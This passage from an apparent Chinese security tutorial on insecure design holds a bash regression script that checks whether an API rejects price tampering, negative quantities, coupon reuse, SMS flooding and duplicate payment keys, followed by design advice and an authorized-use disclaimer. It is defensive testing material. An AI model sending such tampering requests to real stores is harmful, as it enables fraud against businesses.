echo "[FAIL] $1 (期望 $4, 实际 $3)"; FAIL=$((FAIL+1))
fi
}
auth_post() {
curl -s -o /tmp/r.txt -w "%{http_code}" -X POST "$1" \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d "$2" --max-time 15
}
echo "===== 1. 金额篡改防护 ====="
code=$(auth_post "$BASE/api/order/create" '{"productId":1001,"quantity":1,"price":0.01}')
check "客户端传低价金额" "" "$code" "400" # 期望被拒绝或忽略 price
echo "===== 2. 负数数量防护 ====="
code=$(auth_post "$BASE/api/order/create" '{"productId":1001,"quantity":-1}')
check "负数数量" "" "$code" "400"
echo "===== 3. 优惠券复用防护 ====="
code1=$(auth_post "$BASE/api/order/create" '{"productId":1001,"quantity":1,"couponId":8888}')
code2=$(auth_post "$BASE/api/order/create" '{"productId":1001,"quantity":1,"couponId":8888}')
check "优惠券第二次使用" "" "$code2" "400"
echo "===== 4. 限频防护 ====="
# 连续 12 次发短信,第 1 次应成功,后续应被限
success=0
for i in $(seq 1 12); do
c=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$BASE/api/send-sms" \
-H "Content-Type: application/json" -d '{"phone":"13800138000"}' --max-time 10)
[ "$c" = "200" ] && success=$((success+1))
done
if [ "$success" -le 2 ]; then
echo "[PASS] 短信限频生效 (12 次请求仅 $success 次成功)"; PASS=$((PASS+1))
else
echo "[FAIL] 短信限频未生效 (12 次请求 $success 次成功)"; FAIL=$((FAIL+1))
fi
echo "===== 5. 幂等防护 ====="
KEY="idem-test-$(date +%s)"
c1=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$BASE/api/pay" \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-H "Idempotency-Key: $KEY" -d '{"orderNo":"TEST001","amount":100}' --max-time 15)
c2=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$BASE/api/pay" \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-H "Idempotency-Key: $KEY" -d '{"orderNo":"TEST001","amount":100}' --max-time 15)
check "重复幂等键的第二次请求" "" "$c2" "409" # 期望 409 Conflict
echo "----------------------------------------"
echo "通过: $PASS 失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"并发回归(这个必须单独测,普通回归覆盖不到):
# 用前面并发测试小节的 race.sh 重跑一次
bash race.sh 50
# 期望:库存 1 件时,50 个并发请求只有 1 个 200最后:安全设计不是「加个验证码」
A04 是十项里最"软"的一项,也是最考验安全工程师水平的一项 —— 因为没有工具能替你思考。
三个核心认知:
- 区分设计缺陷与实现缺陷 —— 前者改代码没用,得改流程和机制。
- 业务逻辑漏洞只能靠"理解业务 + 系统性提问"发现 —— 扫描器扫不出来,因为它不知道你的规则是什么。
- 真正有效的防线在设计评审阶段 —— 用 STRIDE 走一遍,把安全需求写进验收标准,比事后救火便宜一百倍。
技术上的几个必做项:
- 限频要做手机号规范化 + 多维度(手机号/IP/设备指纹)
- 幂等要有幂等键 + 数据库唯一索引兜底
- 并发优先用数据库原子 UPDATE,别先查后改
- 金额永远服务端算,永远用 BigDecimal
- 风控靠埋点数据,规则是后话
最后一句:安全设计不是"加个验证码",是"想清楚每个环节被滥用的后果"。
⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。